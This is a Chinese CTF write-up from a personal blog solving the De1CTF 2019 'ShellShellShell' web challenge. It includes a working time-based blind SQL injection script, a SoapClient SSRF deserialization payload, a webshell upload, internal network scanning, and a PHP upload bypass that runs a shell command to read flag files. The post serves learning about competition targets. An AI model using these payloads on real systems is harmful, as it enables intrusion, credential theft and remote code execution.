Ricky's Blog


[De1CTF2019]ShellShellShell 逐步分析
2021-03-03

[De1CTF2019]ShellShellShell 逐步分析

登录部分

思路: 登录界面是通过注入拿到管理员的密码MD5, 再利用 SoapClient SSRF 登录管理员

在源码的 user.php 中发现密码在 ctf_user 里面

$password = md5($_POST['password']);
            if(!$this->check_username($username))
                die('Invalid user name');
            $db = new Db();
            @$ret = $db->select(array('id','username','ip','is_admin','allow_diff_ip'),'ctf_users',"username = '$username' and password = '$password' limit 1");

先注册一个账号 test/test, md5验证码脚本跑

import hashlib

while True:
    code = input('md5:')
    i = 0
    while True:
        temp = hashlib.md5(str(i).encode("utf-8")).hexdigest()
        if temp[:5] == code:
            print(temp, i)
            break
        i += 1

登录后可以进行 publish, 还是翻源码找注入口

@$ret = $db->insert(array('userid','username','signature','mood'),'ctf_user_signature',array($this->userid,$this->username,$_POST['signature'],$mood));
if($ret)
       return true;
else
       return false;

一个无过滤insert注入, 通过 $ret 判定是否成功, 感觉像布尔盲注 (后来发现只要提交符合就是ok)

if($res){
            echo "<script>alert('ok');self.location='index.php?action=index'; </script>";
            exit;
        }
        else {
            echo "<script>alert('something error');self.location='index.php?action=publish'; </script>";
            exit;

跟进 insert 函数

    private function get_column($columns){

        if(is_array($columns))
            $column = ' `'.implode('`,`',$columns).'` ';
        else
            $column = ' `'.$columns.'` ';

        return $column;
    }   

    public function insert($columns,$table,$values){

        $column = $this->get_column($columns);
        $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',$this->get_column($values)).')';
        $nid =
        $sql = 'insert into '.$table.'('.$column.') values '.$value;
        $result = $this->conn->query($sql);

        return $result;
    }

这里把数组分成以 , 连接的字符串并且以`反引号包在内, 而正则则是匹配字符串中所有反引号之间的内容, 将其取出放到两个单引号里面, 这里做个测试

<?php
function get_column($columns){
    if(is_array($columns))
        $column = ' `'.implode('`,`',$columns).'` ';
    else
        $column = ' `'.$columns.'` ';

    return $column;
}

function insert($values){
    $value = '('.preg_replace('/`([^`,]+)`/','\'${1}\'',get_column($values)).')';

    return $value;
}

$a = "0`,if(1=1,sleep(0.5),3))#";
echo insert($a);
// ( '0',if(1=1,sleep(0.5),3))#` )

可以看到这样是可以注入的, 上脚本跑密码, 时间盲注 (容错率低请调高时间)

# -*-coding:utf-8-*-
import requests

url = "http://dfb78fb2-7fc6-482c-9daf-d9ec21df5c3d.node3.buuoj.cn/index.php?action=publish"
flag = ''

for i in range(1,1000):
    low = 32
    high = 128
    while low < high:
        mid = (low+high) >> 1
        payload = f"0`,if(ascii(substr((select password from ctf_users where username=`admin`),{i},1))>{mid},sleep(1),0))#"
        data = {
            'signature': payload,
            'mood': '0',
        }
        cookies = {
            'PHPSESSID': 'fi8f5m1dik7qkov0do5iuus906',
        }
        try:
            res = requests.post(url=url, data=data, cookies=cookies, timeout=0.9)
            # print(res.text)
            high = mid
        except:
            low = mid + 1
    if low != 32:
        flag += chr(low)
        print(flag)
    else:
        break

得到 admin 的md5密码 c991707fdf339958eded91331fb11ba0, 解密得到 jaivypassword

登录发现限制了 ip

You can only login at the usual address

跟进 ip 看看, 发现本地才可以登录成功

function get_ip(){
    return $_SERVER['REMOTE_ADDR'];
}

提供了原题链接就直接拿着 payload 打, 传shell上去 (我这边没跑起来就分析一下...), 在 showmess 函数存在一个反序列化漏洞

 while ($row = $ret->fetch_row()) {
                    $sig = $row[1];
                    $mood = unserialize($row[2]);  // 反序列化mood

插入此类语句会触发反序列化

a`,{serialize);#

要用非 admin 账号去触发

<?php
$target = 'http://127.0.0.1/index.php?action=login';
$post_string = 'username=admin&password=jaivypassword&code=383440';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    'Cookie: PHPSESSID=3mhrdvcdaes6j184gob88i20a4'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'wupco^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo bin2hex($aaa);
?>

开两个网页, 登录admin的网页预先把 PHPSESSID 记录下来并且验证码要正确的, 然后另一个网页负责 publish 反序列化的内容, publish 成功后再刷新一次 index 页面, 然后再刷新 admin 的登陆界面就可以登陆成功

signature=1`,0x{十六进制SoapSSRF, 不用加花括号})#&mood=1

admin登录成功后查看 publish 是个文件上传, 上传木马以后访问 /upload/ 目录连接即可

内网部分

提示 flag 在内网, 那就扫内网, 先打开/proc/net/fib_trie查看网络相关信息, 可以看到有个 10.0.157.0/28 的 IP 段,这台机器的 IP 为 10.0.157.9,那么就扫描网段内其他机器试试

或者用 ifconfig 得到内网地址, 用蚁剑插件 > 端口扫描 (10.0.157.11 80端口有反应) 保存网页信息

wget http://10.0.157.11 -O ricky.html

访问 /upload/ricky.html 得到源码

 <?php
$sandbox = '/var/sandbox/' . md5("prefix" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);

if($_FILES['file']['name']){
    $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
    if (!is_array($filename)) {
        $filename = explode('.', $filename);
    }
    $ext = end($filename);
    if($ext==$filename[count($filename) - 1]){
        die("try again!!!");
    }
    $new_name = (string)rand(100,999).".".$ext;
    move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
    $_ = $_POST['hello'];
    if(@substr(file($_)[0],0,6)==='@<?php'){
        if(strpos($_,$new_name)===false) {
            include($_);
        } else {
            echo "you can do it!";
        }
    }
    unlink($new_name);
}
else{
    highlight_file(__FILE__);
}

第一层我们可以将文件以数组形式上传, 例如file[0], file[1], file[3], 内容分别为 /../ricky.php, 111, 222, 这样源码会先得到 php 的后缀, 通过数组减1的形式对比得到的是 111, 那么 111php 显然不相等, 成功绕过, 第二个是会创造随机的文件夹, 会使得上传路径变为例如 upload/666/ricky.php, 猜不到放在那个文件夹里面, 本题算是简单只在100-999之间可以尝试爆破, 但是我们只需要传的第一个文件名进行目录穿梭就可以, 因为后续的路径是字符串拼接, 将会得到例如 upload/666/../ricky.php 的上传路径, 也就是 upload/ricky.php, 成功绕过

所以第一层数组来绕过 (还可以参考一道题 傻fufu的工作日),第二层随机文件名用路径穿越绕过, hello包含我们的php文件, 通过 postman传参再右边有个 code 选中 PHP-cURL

20210304015027823

修改成如下代码 (因为中间上传的文件内容部分需要补充) 并复制

# curl.php
<?php

$curl = curl_init();

curl_setopt_array($curl, array(
  CURLOPT_URL => 'http://10.0.157.11',
  CURLOPT_RETURNTRANSFER => true,
  CURLOPT_ENCODING => '',
  CURLOPT_MAXREDIRS => 10,
  CURLOPT_TIMEOUT => 0,
  CURLOPT_FOLLOWLOCATION => true,
  CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
  CURLOPT_POSTFIELDS => "------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file\"; filename=\"ricky.php\"\r\nContent-Type: false\r\n\r\n@<?php echo `find /etc -name *flag* -exec cat {} +`;\r\n\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"hello\"\r\n\r\nricky.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[2]\"\r\n\r\n222\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[1]\"\r\n\r\n111\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"file[0]\"\r\n\r\n/../ricky.php\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\nSubmit\r\n------WebKitFormBoundary7MA4YWxkTrZu0gW--",
  CURLOPT_HTTPHEADER => array(
    "Postman-Token: a23f25ff-a221-47ef-9cfc-3ef4bd560c22",
    "cache-control: no-cache",
    "content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW"
  ),
));

$response = curl_exec($curl);
$err = curl_error($curl);

curl_close($curl);

if ($err) {
  echo "cURL Error #:" . $err;
} else {
  echo $response;
}

上传 curl.php 到 /upload/ 查看 /upload/curl.php 就可以得到flag

20210304015325518

参考文献

赵师傅的wp

某位师傅的分析

Leave your footprints

  • [*] Admin need to check, please send and wait :) Send
  • Looking forward to your comment :)
  • CTF, AWD, Knowledge Writed By Ricky   粤ICP备2021008996号 Powered by WP && Designed by Rytia && Modified by Ricky
    返回顶部